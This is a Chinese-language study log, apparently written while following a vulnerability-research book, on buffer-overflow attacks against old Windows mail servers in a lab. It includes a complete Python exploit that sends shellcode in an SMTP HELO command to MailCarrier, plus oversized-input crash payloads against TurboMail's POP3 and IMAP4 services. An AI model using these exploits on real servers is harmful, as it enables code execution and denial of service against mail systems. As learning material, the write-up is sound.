再跟作者继续学吧

SMTP漏洞：mailcarrier

mailcarrier我在英文的xp系统上才能安装，中文的xp不行

注意如果windows开启了smtp注意关掉

代码：

# -*- coding: utf-8 -*-
from smtplib import SMTP as smtp
HOST = "192.168.253.156"
username = 'A' * 3000
pwd = '123456' 
def main():
try:
s = smtp(HOST)
except :
print "connect Host : %s error" % HOST
return
print "connected to SMTP Host : %s ***" % HOST
try:
s.login(username, pwd)
except :
print "username or password is error"
return
print "*** login successed"
return
if __name__ == '__main__':
main()

我们使用HELO命令测试

我们看看如何定位，还是利用mona吧

可以看到了

位置为5093

那我们再找找jmp esp什么的

但找到的都是只读什么的

但我用作者之前推荐的od插件就找到很多了

试试

可能由于那个是不可见程序，可以对话框没显示？

跟踪的话是执行成功了的，也听到声音了，

最终代码：

# -*- coding: utf-8 -*-
# @Date    : 2017-02-20 11:10:54
import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
jmp_esp = 0x7E492530
jmp_esp = struct.pack("<I", jmp_esp)
nop = '\x90' * 12
shellcode = "\x33\xDB\x53\x68\x6E\x63\x68\x21\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6E\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\x45\x7E\xFF\xD0"
buffer = 'A' * 5093
payload = buffer + jmp_esp + shellcode
try:
s.connect(("192.168.253.156", 25))
s.send('HELO ' + payload + '\r\n')
data = s.recv(1024)
s.close()
except :
print "Could not connect to SMTP!"

POP3漏洞：TurboMail

pop3是收邮件的

非常简洁

看看登陆的python代码先

# -*- coding: utf-8 -*-
# @Date    : 2017-02-20 14:09:02
import poplib
M = poplib.POP3("192.168.253.151")
# 账户密码
M.user("[email protected]")
M.pass_("123456")

实验一下

这个软件的设置应该是在网页端的

还有语音选一下中文吧

直接点击管理员，再点登陆就进入了

现在增加一个域

下面开始攻击

代码：

# -*- coding: utf-8 -*-
# @Date    : 2017-02-20 14:09:02
import poplib
M = poplib.POP3("192.168.253.151")
payload = 'a' * 260
M.user(payload)
M.pass_("1234567")

我们跟着作者找断点下

下断点

运行脚本，断下后，运行到用户代码，就可以看到收到用户名了

之后就是密码

跟着我们继续f8单步，但到下面这里，程序就退出了

那我们下次直接运行到这f7跟进后再f8单步

跟进后继续单步

但要注意观察数据和堆栈

这里又终止了

其实这里就看到域，账号密码了

跟着又终止运行了

继续，跟作者的一样

继续走，可以看到路径了

他肯定是用户名跟路径拼接，跟那个路径的配置文件比较，看看是否正确

最中我跟踪到是在cookie检测处退出的程序

我觉得是覆盖了cookie了

作者说是超过了系统文件目录的长度

但这里若是缓冲区溢出也是比较难利用了，有gs

但肯定是可以dos的

IMAP4漏洞：TurboMail

这个协议也是收邮件的

这个协议可以操作文件夹，那我们就可以测试一下文件夹名字过长行不行咯

python也有库了，直接上代码

# -*- coding: utf-8 -*-
# @Date    : 2017-02-20 16:40:16
import imaplib
M = imaplib.IMAP4("192.168.253.151")
payload = 'A' * 3000
try:
M.login("[email protected]", '123456')
except :
print "login error!"
# 选择文件夹
try:
s = M.select(payload)
except M.error, e:
print "select error!"
M.close()
M.logout()

运行结果